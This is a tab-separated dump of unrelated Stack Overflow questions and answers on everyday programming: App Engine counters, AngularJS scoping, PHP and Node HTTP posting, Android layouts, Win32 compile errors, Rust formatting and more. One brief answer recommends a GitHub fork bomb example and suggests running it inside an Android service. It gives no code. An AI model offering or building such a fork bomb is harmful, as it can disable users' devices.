3850337	0	 <p>There are a few issues with your approach:</p> <ul> <li>It may under-count since you don't use a transaction to atomically update the counter.</li> <li>It is inefficient: <ul> <li>Contention may become a problem if you need to update this counter frequently. Since you only have one counter, it won't scale well. Datastore entities can only be written at a rate of at most 5 times per second.</li> <li>You're writing to the datastore twice every time you insert a record. If you end up using transactions to fix the above problem, then you'll be making two round-trips to the datastore every time you insert the record (once to insert, and once to update the counter). You might be able to use an approach which avoids this extra round-trip to the datastore.</li> </ul></li> </ul> <p>Here are some alternate approaches (from least accurate [and fastest] to most accurate [and slowest]):</p> <ul> <li>If you only need a rough count of the number of entities of particular kind in the datastore, then you can use the <a href="http://code.google.com/appengine/docs/python/datastore/stats.html">Stats API</a>. The counts you retrieve are not constantly updated, however.</li> <li>If you need more granularity but are okay with a small possibility of occasionally under-counting, then you could use a memcache-enhanced counter. There are several good implementations discussed in <a href="http://stackoverflow.com/questions/2769934/high-concurrency-counters-without-sharding">this question</a>. In particular, see the code in the comments in <a href="http://appengine-cookbook.appspot.com/recipe/high-concurrency-counters-without-sharding/">this recipe</a>.</li> <li>If you really want to avoid undercounting, then you should consider a <a href="http://code.google.com/appengine/articles/sharding_counters.html">sharded datastore counter</a>. This will eliminate the contention issue from above.</li> </ul>
31784778	0	 <p>Previous posts are correct in that compatibility mode appears to be based entirely on file names. There is a simple method for determining precisely which name Windows expects:</p> <p>Right-click the file, select Properties and navigate to the Details tab. There should be an entry labelled "Original filename". Simply rename the file accordingly and it should run happily.</p> <p>Screenshot:</p> <p><a href="https://i.stack.imgur.com/nm0hM.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/nm0hM.png" alt=""></a></p>
21157684	0	Bind <div> to element of Angular controller <p>We have a somewhat complicated model on an AngularJS controller:</p> <pre><code>function controller($scope) { $scope.model = { childmodel1: { childmodel2: { property1: 'abc', property2: 3, property3: 0.5, property4: 'abc' } } } } </code></pre> <p>In the HTML markup, we don't want to repeat the whole access chain everytime we access <code>childmodel2</code>:</p> <pre><code>&lt;div ng-controller="ctrl"&gt; &lt;div&gt; &lt;input type="text" ng-model="model.childmodel1.childmodel2.property1" /&gt; &lt;input type="text" ng-model="model.childmodel1.childmodel2.property2" /&gt; &lt;input type="text" ng-model="model.childmodel1.childmodel2.property3" /&gt; &lt;input type="text" ng-model="model.childmodel1.childmodel2.property4" /&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>Is there an AngularJS directive that creates a sub-scope like this:</p> <pre><code>&lt;div ng-controller="ctrl"&gt; &lt;div ng-unknowndirective="model.childmodel1.childmodel2"&gt; &lt;input type="text" ng-model="property1" /&gt; &lt;input type="text" ng-model="property2" /&gt; &lt;input type="text" ng-model="property3" /&gt; &lt;input type="text" ng-model="property4" /&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>It's the same thing that's done on <code>ng-repeat</code>, but without the repetition :)</p> <p>We tried <code>ng-scope</code>, <code>ng-controller</code>, <code>ng-model</code>, none of them works this way. Googling didn't yield any results, we don't know the terminology to search for.</p>
1061995	0	 <p>Write a Vim function in .vimrc using the <code>searchpair</code> built-in function:</p> <pre><code>searchpair({start}, {middle}, {end} [, {flags} [, {skip} [, {stopline} [, {timeout}]]]]) Search for the match of a nested start-end pair. This can be used to find the "endif" that matches an "if", while other if/endif pairs in between are ignored. [...] </code></pre> <p>(<a href="http://vimdoc.sourceforge.net/htmldoc/eval.html" rel="nofollow noreferrer">http://vimdoc.sourceforge.net/htmldoc/eval.html</a>)</p>
4922217	0	Can the SSMS editor be re-used in your own application, or is there an alternative? <p>I would like to have IntelliSence or code completion, and syntax highlighting for SQL queries in my own .NET application.</p> <ol> <li><p>Is it possible to use the SQL Server Management Studio's editor similar to the way you can use the SMO APIs? </p></li> <li><p>Are there open source control(s) that can be used?</p></li> </ol> <p>I have found code completion / syntax highlighting controls, but SQL is a funny beast because of the column / table aliases.</p>
14900756	0	 <p>An array printed out with <strong>print_r</strong> cannot be parsed back into a variable.</p> <p>In your server.php do <code>echo json_encode($_POST);</code>. Then in your client.php</p> <pre><code>&lt;?php //... $output = curl_exec($curl_handle); // and now you can output it however you like if ($this-&gt;request_response_type == 'array') { //though i don't see why you would want that as output is now useless if someone ought to be using the variable $outputVar = json_decode($output); // that parses the string into the variable print_r((array)$outputVar); // or even better use serialize() echo serialize($outputVar); } else if ($this-&gt;request_response_type == 'json') { echo $output; //this outputs the original json } else if ($this-&gt;request_response_type == 'xml') { // do your xml magic with $outputVar which is a variable and not a string //xml conversion will be done here later. not ready yet. } </code></pre>
717617	0	 <p>If it's in our stack I can't find it :). It would be a good thing to add though :). You can, for now, use an Inline query to simply execute the statement you wrote (it takes straight SQL). I know it's fugly but...</p> <p>Rick - if you did get that to work I'd be interested in how. "Col2" will try and be parsed to a type and your query will fail.</p>
37854261	0	 <p>This post should help you : <a href="http://stackoverflow.com/a/8996581/5941903">http://stackoverflow.com/a/8996581/5941903</a>.</p> <p>Before posting, please try to do some research. I just typed : android rotate imageview on Google...</p>
14886127	0	 <p>To answer your question, for a pure css solution the answer would be no it is not possible.</p> <p>You could though serve the images from a server and use a scripting language like PHP to get the device information of the user and then serve the appropriate image based on that using PHP function header.</p>
31535043	0	 <p>Yes, of course you can do.</p> <p>You need to create different layout directory for different density devices.</p> <p>For example <strong>layout-ldpi</strong>, <strong>layout-hdpi</strong>, etc. and define the required kind of layout inside these.</p> <pre><code>res/layout/my_layout.xml // layout for normal screen size ("default") res/layout-small/my_layout.xml // layout for small screen size res/layout-large/my_layout.xml // layout for large screen size res/layout-xlarge/my_layout.xml // layout for extra large screen size res/layout-xlarge-land/my_layout.xml // layout for extra large in landscape orientation </code></pre> <p>And inside the different my_layout.xml file define either one, two or three linearlayouts you need.</p>
31456279	0	 <p>There are no tutorials on <code>ExoPlayer</code> right now. <code>ExoPlayer</code> is a the best alternative to <code>MediaPlayer</code> but is not very newbie friendly at the moment. </p> <p>What you have to do is go to the github page and take a look at the <code>DemoPlayer</code> class in the <code>demo</code> app. </p> <p>This app can open a lot of different formats including <code>hls</code>. </p>
30781032	0	Checking for exception type in try/catch block in C# <p>I have a rather basic question I've been thinking about.</p> <p>Refer to the following code snippet that uses a <strong>try/catch</strong> block:</p> <pre><code>public void doSomething() { try { doSomethingElse() } catch (Exception ex) { if (ex is IndexOutOfRangeException || ex is DivideByZeroException || ex is Exception) { Console.WriteLine(ex.Message); } } } </code></pre> <p>1) If all I want to do is output the exception message to the console, is it necessary to check in the <strong>if</strong> clause what type of Exception I'm getting, or can I just do </p> <pre><code>... catch (Exception ex) { Console.WriteLine(ex.Message); } ... </code></pre> <p>2) It is my understanding that checking the specific exception type should be used if I need to output a defined message to the console instead of using the exception message itself - something along the lines of</p> <pre><code>... catch (Exception ex) { switch (ex): { case IndexOutOfRangeException: Console.WriteLine("Personalized message #1"); break; case DivideByZeroException: Console.WriteLine("Personalized message #2"); break; case Exception: Console.WriteLine("Personalized message #3"); break; } } ... </code></pre> <p>Your comments on 1) and 2) are highly appreciated. Thanks for your time.</p>
19342876	0	 <p>Ok I got the solution, I have remove the click functionality and use the follwing code :-</p> <pre><code>$('#pendulum-child').draggable( { start: function(event, ui) { $('.flush_handle').addClass('flush_handle1'); }, axis: 'y', revert: function( event, ui ) { $('.flush_handle').removeClass('flush_handle1'); $(this).data("uiDraggable").originalPosition = { top : '3px', left : '-74px' }; init() return true; } } ); </code></pre> <p><strong>CSS :-</strong></p> <pre><code>#pendulum-child { width:118px; height:255px; background-image:url(images/flush-chain.png); background-repeat:no-repeat; position:absolute; left:-74px; top:3px; } #pendulum-parent { width:22px; height:22px; } </code></pre>
32534860	0	Using Variable In JSON node.js <p>I am writing some code that allows me to send messages back and forth from two node instances using HTTP &amp; Express.</p> <p>Each client generates a UUID type of identification and then sends it to the main server for storage and authentication.</p> <p>Here is the client, you can see at the bottom that it generates what i beleive to be a json string, i assign a variable before that contains an ID, i am trying to use this ID to send to the server for proccessing.</p> <p>Client.js</p> <pre><code>var request = require('request'); var sendservlet = request.post; var fs = require('fs'); var path = require('path'); var crypto = require('crypto'); if (fs.existsSync('foo.txt')) { console.log('Found '); fs.readFile('foo.txt', "utf-8" , function (err, data) { if (err) throw err; console.log(data); }); } else { console.log("Did not find file, i must first register you to the server."); function randomValueHex (len) { return crypto.randomBytes(Math.ceil(len/2)) .toString('hex') .slice(0,len); } var ID = randomValueHex(7) console.log("Your New Identification Number Is: " + ID); sendservlet( 'http://192.168.1.225:3000', { form: { key: ID } }, function (error, response, body) { if (!error &amp;&amp; response.statusCode == 200) { console.log(body) console.log(ID) } } ); } </code></pre> <p>Server.JS</p> <pre><code>var express = require('express'); var bodyParser = require('body-parser') var app = express(); app.use(bodyParser.urlencoded({ extended: false })); var crypto = require('crypto'); app.post('/', function (req, res) { res.send('POST request to the homepage'); console.log(req.body.form.key); }); var server = app.listen(3000, function () { var host = server.address().address; var port = server.address().port; console.log('Example app listening at http://%s:%s', host, port); }); </code></pre> <p>The server cannot seem to be able to read it, i believe that i cannot call the variable like that. </p> <p>To help narrow this issue down, I am strictly asking why the ID variable cannot be transmitted in </p> <pre><code>sendservlet( 'http://192.168.1.225:3000', { form: { key: ID } }, </code></pre> <p>thank you very much for any advice available!</p>
19644515	0	 <p>For only compiling part you can use following changes in the Makefile</p> <pre><code> file%.o:file%.c file%.h $(TOOLCHAIN_GCC) $(COMPILEOPTS) $&lt; </code></pre> <p>After this you need to make changes in linking of the object files to generate the final executable file.</p>
37123278	0	 <p>This can be achieved by using a script (modify to suit your needs):</p> <pre><code>#!/bin/bash # Dynamic IP .htaccess file generator # Written by Star Dot Hosting # www.stardothosting.com dynDomain="$1" htaccessLoc="$2" dynIP=$(/usr/bin/dig +short $dynDomain) echo "dynip: $dynIP" # verify dynIP resembles an IP if ! echo -n $dynIP | grep -Eq "[0-9.]+"; then exit 1 fi # if dynIP has changed if ! cat $htaccessLoc | /bin/grep -q "$dynIP"; then # grab the old IP oldIP=`cat /usr/local/bin/htold-ip.txt` # output .htaccess file echo "order deny,allow" &gt; $htaccessLoc 2&gt;&amp;1 echo "allow from $dynIP" &gt;&gt; $htaccessLoc 2&gt;&amp;1 echo "allow from x.x.x.x" &gt;&gt; $htaccessLoc 2&gt;&amp;1 echo "deny from all" &gt;&gt; $htaccessLoc 2&gt;&amp;1 # save the new ip to remove next time it changes, overwriting previous old IP echo $dynIP &gt; /usr/local/bin/htold-ip.txt fi </code></pre> <p>Than just cron it to generate a new line on the .htaccess file:</p> <pre><code>*/15 * * * * /bin/sh /usr/local/bin/.sh yourhostname.no-ip.org /var/www/folder/.htaccess &gt; /dev/null 2&gt;&amp;1 </code></pre> <p>Source: <a href="https://www.stardothosting.com" rel="nofollow">https://www.stardothosting.com</a></p>
28763580	1	Passing a list of randomForest objects back to R with rpy2 <p>I am trying to combine a number of random forest models using rpy2. The <code>combine</code> command in R looks fairly straight forward but I am not sure how to pass the RF objects from python to R.</p> <p>Simple example:</p> <pre><code>import pandas as pd import numpy as np import sys if sys.version_info[0] &lt; 3: from string import lowercase else: from string import ascii_lowercase as lowercase import rpy2.robjects as robjects from rpy2.robjects import pandas2ri pandas2ri.activate() r = robjects.r r.library("randomForest") df = pd.DataFrame(data=np.random.random(size=(100, 10)), columns=[a for a in lowercase[:10]]) cols = df.columns RF = [] for _ in range(5): df['train'] = np.random.random(size=100) &lt; .75 rf = r.randomForest(robjects.Formula('a~.'), data=df[df.train][cols]) RF.append(rf) </code></pre> <p>When I try and <code>combine</code> RF models in R</p> <pre><code>RFall = r.combine(RF) </code></pre> <p>Returns the error:</p> <pre><code>Error in (function (...) : Argument must be a list of randomForest objects </code></pre> <p>I have looked at other functions in <code>robjects</code> but can't find the one that will do it.</p>
4110800	0	Silverlight ListBox control doesn't rebind correctly <p>I'm using a ListBox control with an ItemTemplate like so:</p> <pre><code>&lt;ListBox Name="lbItemsList" ItemsSource="{Binding}" &gt; &lt;ListBox.ItemTemplate&gt; &lt;DataTemplate&gt; &lt;StackPanel Orientation="Horizontal"&gt; &lt;TextBlock Text="{Binding ID}" Padding="5,0,0,0" /&gt; &lt;TextBlock Text=" - " Padding="5,0,0,0" /&gt; &lt;TextBlock Text="{Binding Description}" Padding="5,0,0,0" /&gt; &lt;/StackPanel&gt; &lt;/DataTemplate&gt; &lt;/ListBox.ItemTemplate&gt; &lt;/ListBox&gt; </code></pre> <p>Then, in the code I dynamically bind a collection to the ListBox like so:</p> <pre><code>lbItemssList.ItemsSource = _itemsList.Values; </code></pre> <p>But at times I need to rebind a different or modified list of items to the ListBox. When I do this, the ListBox doesn't update with the new list and it seems that the binding doesn't work correctly, unless I do this:</p> <pre><code>lbItemssList.ItemsSource = null; lbItemssList.ItemsSource = _itemsList.Values; </code></pre> <p>I've done the same thing with other ListBox controls and not had this problem. What am I missing here?</p>
35678039	0	windows.h files have hundreds of syntax error <p>When i try to make a WinApi it make a lot of errors or even crushes down. I tried the same code in CodeBlocks(it frozens) in Visual Studio(it's tha same) and also in Dev-Cpp, where i get a lot of errors.</p> <p><a href="https://i.stack.imgur.com/OQXlH.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/OQXlH.png" alt="enter image description here"></a></p> <p>I tried to reinstall the programs but it did not help, but when i installed codeblocks sometimes it wrote, it has some environment problems, but i could not find out what. I found later that the minGW file was missing but i get the same errors since. </p> <p>this is the code what i try to compile and run: </p> <pre><code>#include &lt;windows.h&gt; const char g_szClassName[] = "myWindowClass"; // Step 4: the Window Procedure LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { switch(msg) { case WM_CLOSE: DestroyWindow(hwnd); break; case WM_DESTROY: PostQuitMessage(0); break; default: return DefWindowProc(hwnd, msg, wParam, lParam); } return 0; } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { WNDCLASSEX wc; HWND hwnd; MSG Msg; //Step 1: Registering the Window Class wc.cbSize = sizeof(WNDCLASSEX); wc.style = 0; wc.lpfnWndProc = WndProc; wc.cbClsExtra = 0; wc.cbWndExtra = 0; wc.hInstance = hInstance; wc.hIcon = LoadIcon(NULL, IDI_APPLICATION); wc.hCursor = LoadCursor(NULL, IDC_ARROW); wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); wc.lpszMenuName = NULL; wc.lpszClassName = g_szClassName; wc.hIconSm = LoadIcon(NULL, IDI_APPLICATION); if(!RegisterClassEx(&amp;wc)) { MessageBox(NULL, "Window Registration Failed!", "Error!", MB_ICONEXCLAMATION | MB_OK); return 0; } // Step 2: Creating the Window hwnd = CreateWindowEx( WS_EX_CLIENTEDGE, g_szClassName, "The title of my window", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, hInstance, NULL); if(hwnd == NULL) { MessageBox(NULL, "Window Creation Failed!", "Error!", MB_ICONEXCLAMATION | MB_OK); return 0; } ShowWindow(hwnd, nCmdShow); UpdateWindow(hwnd); // Step 3: The Message Loop while(GetMessage(&amp;Msg, NULL, 0, 0) &gt; 0) { TranslateMessage(&amp;Msg); DispatchMessage(&amp;Msg); } return Msg.wParam; } </code></pre>
16941648	0	 <p>The old labels are stored in a graph attribute - node_labels.</p> <pre><code>print g2.node_labels {'a': 0, 'b': 1} </code></pre>
7915295	0	How can I get UIPickerView to select the first item? <p>I am encountering a funny problem with UIPickerView. My data source has 2 items:</p> <p>"All" and "Home"</p> <p>When I select one, I execute a certain task.</p> <p>By default All is selected. When I click on Home my task executes, and then when I choose the picker again, it is set to All. In order to select All, I have to scroll up a bit, so that the selection is off All, and then let go so it falls back down to All.</p> <p>What is the best way to be able to select All?</p>
32259121	0	Animated Gif Frames To Array of BufferedImages <p>I am trying to extract all the frames of an animated gif to an array of bufferedimages. I have been reading <a href="http://stackoverflow.com/questions/8933893/convert-each-animated-gif-frame-to-a-separate-bufferedimage">Convert each animated GIF frame to a separate BufferedImage</a> and it was fairly easy to write each frame to a seperate file. But my problem comes up when I try to fill an ArrayList with the frames instead of writing them. Every image in the ArrayList is just the last frame of the gif.</p> <p>To make it more clear, this code will write each frame to seperate files perfectly:</p> <pre><code> ArrayList&lt;BufferedImage&gt; frames = new ArrayList&lt;BufferedImage&gt;(); BufferedImage master = new BufferedImage(128, 128, BufferedImage.TYPE_INT_ARGB); ImageReader ir = new GIFImageReader(new GIFImageReaderSpi()); ir.setInput(ImageIO.createImageInputStream(gif)); for (int i = 0; i &lt; ir.getNumImages(true); i++) { master.getGraphics().drawImage(ir.read(i), 0, 0, null); ImageIO.write(master, "gif", new File(dirGifs + "/frames" + i + ".gif")); } </code></pre> <p>However, this code will only gives me an ArrayList full of the same frame (being the last frame of the gif)</p> <pre><code> ArrayList&lt;BufferedImage&gt; frames = new ArrayList&lt;BufferedImage&gt;(); BufferedImage master = new BufferedImage(128, 128, BufferedImage.TYPE_INT_ARGB); ImageReader ir = new GIFImageReader(new GIFImageReaderSpi()); ir.setInput(ImageIO.createImageInputStream(gif)); for (int i = 0; i &lt; ir.getNumImages(true); i++) { master.getGraphics().drawImage(ir.read(i), 0, 0, null); frames.add(master); } </code></pre> <p>I thought that it was because I wasnt disposing of the graphics afterwards, but I tried creating a graphics object and disposing it and nothing changed. Need help!</p>
10303129	0	 <p>Yes, you can; if the variable/parameter you are trying to compare is already populated with data. Something like this:</p> <pre><code>DECLARE v_num1 NUMBER := 5; v_num2 NUMBER := 3; v_temp NUMBER; BEGIN -- if v_num1 is greater than v_num2 rearrange their values IF v_num1 &gt; v_num2 THEN v_temp := v_num1; v_num1 := v_num2; v_num2 := v_temp; END IF; </code></pre> <p>Provide more information based on what you are actually trying to do.</p>
28490593	0	Error on using Vim-latex ("can't find file ~") <p>I'm not sure if this question is appropriate here but I have nowhere else to ask. I recently started to typeset some 'mathsy' stuff using Latex and it became a hobby for me. I've been using TeXnicCenter for this, but feeling that I've got familiar with Latex language, I decieded to improve 'efficiency' of typesetting by changing the editor.</p> <p>So I decided to use <strong>Vim</strong> (latest version, 7.4) with Suite-Latex. I've just installed Vim and Suite-Latex, following exactly what was instructed <a href="http://vim-latex.sourceforge.net/index.php?subject=download&amp;title=Download" rel="nofollow">here</a>. I made every necessary changes mentioned <a href="http://vim-latex.sourceforge.net/documentation/latex-suite/recommended-settings.html" rel="nofollow">here</a>, and it seemed to me that installation was successful (I got what was expected on Step 4)</p> <p>Then I started to work through <a href="http://vim-latex.sourceforge.net/documentation/latex-suite-quickstart/lsq-using-tutorial.html" rel="nofollow">this tutorial</a> and everything went fine until <a href="http://vim-latex.sourceforge.net/documentation/latex-suite-quickstart/lsq-inserting-reference.html" rel="nofollow">this section</a>.</p> <p>When I press F9 for autoreference, I see that Vim is working on something for split seconds and red error message refering to "can't find [some file name]" in my user/appdata/local/temp directory. The "file name" changes every time I do this (so its kind of temporary file as its directory suggests?). And then it produces a new window with title <strong>__ OUTLINE __</strong> where 2 empty lines are showing up.</p> <p>If I press n (in the new window described above) error message saying <strong>"E486: Pattern not found: rf"</strong> pops up and pressing j results in going down one row. If I press enter key, message <strong>":call Tex_FinishOutlineCompletion()"</strong> pops up.</p> <p>More frustratingly, if I try to compile a file by entering command \ll, a new window pops up where there are two lines saying:</p> <p>1.ll I can't find file `newfile.tex'. newfile.tex</p> <p>2.ll Emergency stop</p> <p>and below these is a message saying </p> <p><strong>[Quickfix list]: latex -interaction=nonstopmode -file-line-error-style newfile.tex</strong></p> <p>So I thought it maybe is something to do with VIM not being able to find files in my computer (so something wrong with grep?), and I tried to resolve it by downloading a software called "cygwin" on which developers said their tests were successful, but it changed nothing.</p> <p>But I think the two problems are related.</p> <p>As it is, I am completely newbie in this type of editing environment (or any kind of programming) but I really would like to learn some Vim seeing how efficient it is in typesetting etc. Sorry for not being a pro at typing codes here. Thanks for reading!</p>
12396565	0	 <p>Well, you can create your form in html, give it and id and do it like this:</p> <pre><code>document.getElementById('myform').setAttribute('action', post_url); </code></pre>
6206177	0	 <p>The plus: it's a super easy way to distribute the work that needs to be done.</p> <p>The minus: due to the way that Hadoop recovers from failures, you need to be very careful about managing what is and isn't run (which you can definitely do, it's just something to watch out for). If a reduce fails, for example, then all of the map jobs that feed that partition must also be rerun. Obviously this would most likely be a no-reducer job, but this is still true of mappers...what happens if half of the calls run, then the job fails, so it is rescheduled?</p> <p>You could use some sort of high-throughput system to manage the calls that are actually made or somesuch. But it definitely can be appropriately used for this.</p>
30231085	0	 <p>What version of Android are you testing with? Can you adb shell in and see what these settings are (when you're on wifi)?</p> <pre><code>cat /proc/sys/net/ipv4/tcp_rmem cat /proc/sys/net/ipv4/tcp_wmem </code></pre> <p>And then if they are low (something like "4092 8760 11680"), then try setting them to larger values:</p> <pre><code>sudo echo "524288,1048576,2097152" &gt; /proc/sys/net/ipv4/tcp_rmem sudo echo "262144,524288,1048576" &gt; /proc/sys/net/ipv4/tcp_wmem </code></pre> <p>Then try your test again.</p> <p>This could be from a bug where the wifi buffers were being set too small in some cases (<a href="https://code.google.com/p/android/issues/detail?id=64706" rel="nofollow">https://code.google.com/p/android/issues/detail?id=64706</a>).</p>
25891050	0	Accuratly catch clicks on an iframe <p>I have an ad iframe being written onto my page dynamically. The advert inside may have another iframe itself and will "suck" click events through into it so cannot track them easily. I've used this great plugin by @Vince in the past:</p> <p><a href="https://github.com/finalclap/iframeTracker-jquery" rel="nofollow">https://github.com/finalclap/iframeTracker-jquery</a></p> <p>which seems to work fine until the window this is all running in IS ITSELF an iframe and focus is somewhere on the outermost page. I can see it getting the rollover/rollout events but it doesn't get the click unless focus is somewhere inside the first iframe's window.</p> <p>Has anyone found a solid way to do this? Thanks in advance if anyone can help.</p>
26922866	0	 <p>I would also recommend checking out <a href="https://github.com/nicandris/com.example.forkbomb" rel="nofollow">this guy's github</a> for a good example of a fork bomb. Even though he uses an activity to launch it you could modify it to run in a service.</p>
24585265	0	getItemId function returns huge numbers - action bar buttons <p>I am trying to add submenus , I created xml:</p> <pre><code> &lt;menu xmlns:android="http://schemas.android.com/apk/res/android" &gt; &lt;item android:id="@+id/action_overflow" android:icon="@drawable/ic_action_overflow" android:showAsAction="ifRoom" android:title="@string/action_overflow"&gt; &lt;menu&gt; &lt;item android:id="@+id/item1" android:title="test"&gt;&lt;/item&gt; &lt;item android:id="@+id/item2" android:title="test2"&gt;&lt;/item&gt; &lt;item android:id="@+id/item3" android:title="test3"&gt;&lt;/item&gt; </code></pre> <p> </p> <p></p> <pre><code>&lt;/menu&gt;&lt;/item&gt;&lt;/menu&gt; </code></pre> <p>in mainactivity.java:</p> <pre><code> @Override public boolean onOptionsItemSelected(MenuItem item) { // int menuid = item.getItemId(); Toast.makeText(MainActivity.this, "id: "+item.getItemId(), Toast.LENGTH_SHORT).show(); return true; } </code></pre> <p>it shows me numbers like 2131034200...... etc..</p> <p>please help :(</p>
29706013	0	 <blockquote> <p>What is the point of the &amp;?</p> </blockquote> <p>The <code>&amp;</code> takes the reference of an object, as you surmised. However, there's a <a href="https://github.com/rust-lang/rust/blob/b7fb57529aded92c4f470568e6b5ea7a5a28f6a4/src/libcore/fmt/mod.rs#L783-L796" rel="nofollow"><code>Debug</code> implementation for references to <code>Debug</code> types</a> that just prints out the referred-to object. This is done because Rust tends to prefer value equality over reference equality:</p> <pre class="lang-rust prettyprint-override"><code>impl&lt;'a, T: ?Sized + $tr&gt; $tr for &amp;'a T { fn fmt(&amp;self, f: &amp;mut Formatter) -&gt; Result { $tr::fmt(&amp;**self, f) } } </code></pre> <p>If you'd like to print the memory address, you can use <code>{:p}</code>:</p> <pre><code>let v = vec![1,2,3]; println!("{:p}", &amp;v); </code></pre> <blockquote> <p>it looks like they are looping through a reference</p> </blockquote> <p>The <code>for i in foo</code> syntax sugar calls <code>into_iterator</code> on <code>foo</code>, and there's an <a href="https://github.com/rust-lang/rust/blob/b7fb57529aded92c4f470568e6b5ea7a5a28f6a4/src/libcollections/vec.rs#L1520-L1528" rel="nofollow">implementation of <code>IntoIterator</code> for <code>&amp;Vec</code></a> that returns an iterator of references to items in the iterator:</p> <pre class="lang-rust prettyprint-override"><code>fn into_iter(self) -&gt; slice::Iter&lt;'a, T&gt; { self.iter() } </code></pre>
20117802	0	Open links in webview android html <p>I am developing a webbased app for android, winpho and ios. One of the sections has a link to download a pdf.</p> <p>In winpho and ios, keep pressing for a second open a menu to open, download or save document but in android, seems to do nothing. I can't open just pressing once the button or open in another window or nothing.</p> <p>I don't know if I have to declare the button in other way in html or it just doesn't work in android. </p> <p>Any idea about what is the problem? If you need my html code, just ask but it is just a normal link with href=url.</p> <p>I added the android part in which I open the webpage: </p> <pre><code>mywebview = (WebView) findViewById(R.id.webview); if (savedInstanceState == null){ mywebview.loadUrl(url); } </code></pre> <p>The url is a normal webapage with a button on in. Clicking that button, the pdf is opened. In android chrome, it works. </p>
33249412	0	 <p>Remove the align left and right and white space between image tags. </p> <pre><code>&lt;div class="feat"&gt; &lt;img src="nirvana.jpeg" style="width:50%;height:50%;"&gt;&lt;img src="pup.jpg" style="width:50%;height:50%;"&gt; &lt;/div&gt; </code></pre> <p>Read up <a href="https://css-tricks.com/fighting-the-space-between-inline-block-elements/" rel="nofollow">this blog post</a> about white space. Here is a working plunkr (without your images, obviously): <a href="http://embed.plnkr.co/sytM7HeFUVDPT1p3HoXN/preview" rel="nofollow">http://embed.plnkr.co/sytM7HeFUVDPT1p3HoXN/preview</a></p>
32339034	0	 <p>I've tested this and found that <code>HttpUtility.UrlDecode("%E9")</code> returns question mark that You mentioned. It seems that it You have to manually specify appropriate encoding for this to work correctly with <code>%E9</code> encoded value.</p> <p>You can try:</p> <pre><code>HttpUtility.UrlDecode("%E9", System.Text.UnicodeEncoding.Default); </code></pre> <p>or</p> <pre><code>HttpUtility.UrlDecode("%E9", System.Text.UnicodeEncoding.UTF7); </code></pre> <p>Both should return the character decoded as You expected.</p>
40798771	0	Message Box hidden in Windows form. How to display message box in desktop <p>I have win form application. Main form to invisible mode. Only Loading Panel visible to user. </p> <p>Application using <strong>interop</strong> functionality. At the application running time show excel, word. after Excel or Word close event display at dialog box.</p> <p>The dialog box shown at Task bar. How to display at desktop. If I am giving to Desktop Only Mode. Yes or No button not working properly. Always press yes button.</p> <p>Need to show dialog at desktop</p> <pre><code>MessageBox.Show("Do you want save", "Confirmation", MessageBoxButton.YesNoCancel, MessageBox.Questions MessageBoxDefaultButton.Button1); </code></pre>
3952289	0	 <p>First of all you need to create a catch all subdomain which will send all requests to your single VirtualHost:</p> <pre><code>ServerAlias *.website.com </code></pre> <p>Then you can either:</p> <ol> <li>Inspect the HTTP host at the application level and do whatever needs to be done (either serve content from the virtual subdomain, or do a 301 redirect to the www.</li> <li>Use a single mod_rewrite rule to rewrite the URL as you initially suggested.</li> </ol>
10969732	0	multiple form within one HTML table <p>Out of a really long product list I am creating a table. Each row should be possible to update. HTML is not valid if I put multiple forms within one table. A solution would be to create for each row a single table, but the format would be really ugly.</p> <p>I would like to make this:</p> <pre><code>&lt;table&gt; &lt;tr&gt;&lt;form&gt;&lt;td&gt;&lt;input type=\"text\" name=\"name\" value=\"".$row['name']."\" /&gt;&lt;/td&gt;\n"; </code></pre> <p>.... .... . . . </p> <p>It is not vaild. What I could do?</p>
8778008	0	 <p>The trouble here is that the underlying .NET dataset designer isn't properly schema-aware. In the Visual Studio dataset designer, you must 'manually' enter the schema prefix into each datatable definition's properties. After that, NDbUnit should properly work with tables in other schemas.</p> <p>For more detail, see <a href="http://code.google.com/p/ndbunit/issues/detail?id=23" rel="nofollow">http://code.google.com/p/ndbunit/issues/detail?id=23</a></p>
11990860	0	 <pre><code>NSString *htmlString = [NSString stringWithFormat: @"&lt;html&gt;" @"&lt;body&gt;" @"&lt;meta name = \"viewport\"content = \"initial-scale = 1.0, user-scalable = no\"/&gt;" @"&lt;iframe src=\"http://player.vimeo.com/video/8118831title=0&amp;amp;byline=0&amp;amp;portrait=0&amp;amp;color=008efe&amp;amp\";autoplay=1&amp;amp;loop=1 width=\"320\" height=\"480\" frameborder=\"0\"&gt;" @"&lt;/iframe&gt;" @"&lt;body style=\"background:#000;margin-top:0px;margin-left:0px\"&gt;" @"&lt;/object&gt;&lt;/div&gt;&lt;/body&gt;&lt;/html&gt;",@"http://www.vimeo.com/8118831" ]; </code></pre> <p>Now just use <code>loadHTMLString</code> to play the video in your application.</p>
2471838	0	 <p>You edited your original question to add this second question.</p> <blockquote> <p>Also, how could I change func QR to accept parameter values? What I'd like for it to do is accept a command-line flag in place of req *http.Request.</p> </blockquote> <p>If you read <a href="http://golang.org/doc/go_spec.html" rel="nofollow noreferrer">The Go Programming Language Specification</a>, <a href="http://golang.org/doc/go_spec.html#Types" rel="nofollow noreferrer">§Types</a>, including <a href="http://golang.org/doc/go_spec.html#Function_types" rel="nofollow noreferrer">§Function types</a>, you will see that Go has strong static typing, including function types. While this does not guarantee to catch all errors, it usually catches attempts to use invalid, non-matching function signatures.</p> <p>You don't tell us why you want to change the function signature for <code>QR</code>, in what appears to be an arbitrary and capricious fashion, so that it is no longer a valid <code>HandlerFunc</code> type, guaranteeing that the program will fail to even compile. We can only guess what you want to accomplish. Perhaps it's as simple as this: you want to modify the <code>http.Request</code>, based on a runtime parameter. Perhaps, something like this:</p> <pre><code>// Note: flag.Parse() in func main() {...} var qrFlag = flag.String("qr", "", "function QR parameter") func QR(c *http.Conn, req *http.Request) { if len(*qrFlag) &gt; 0 { // insert code here to use the qr parameter (qrFlag) // to modify the http.Request (req) } templ.Execute(req.FormValue("s"), c) } </code></pre> <p>Perhaps not! Who knows?</p>
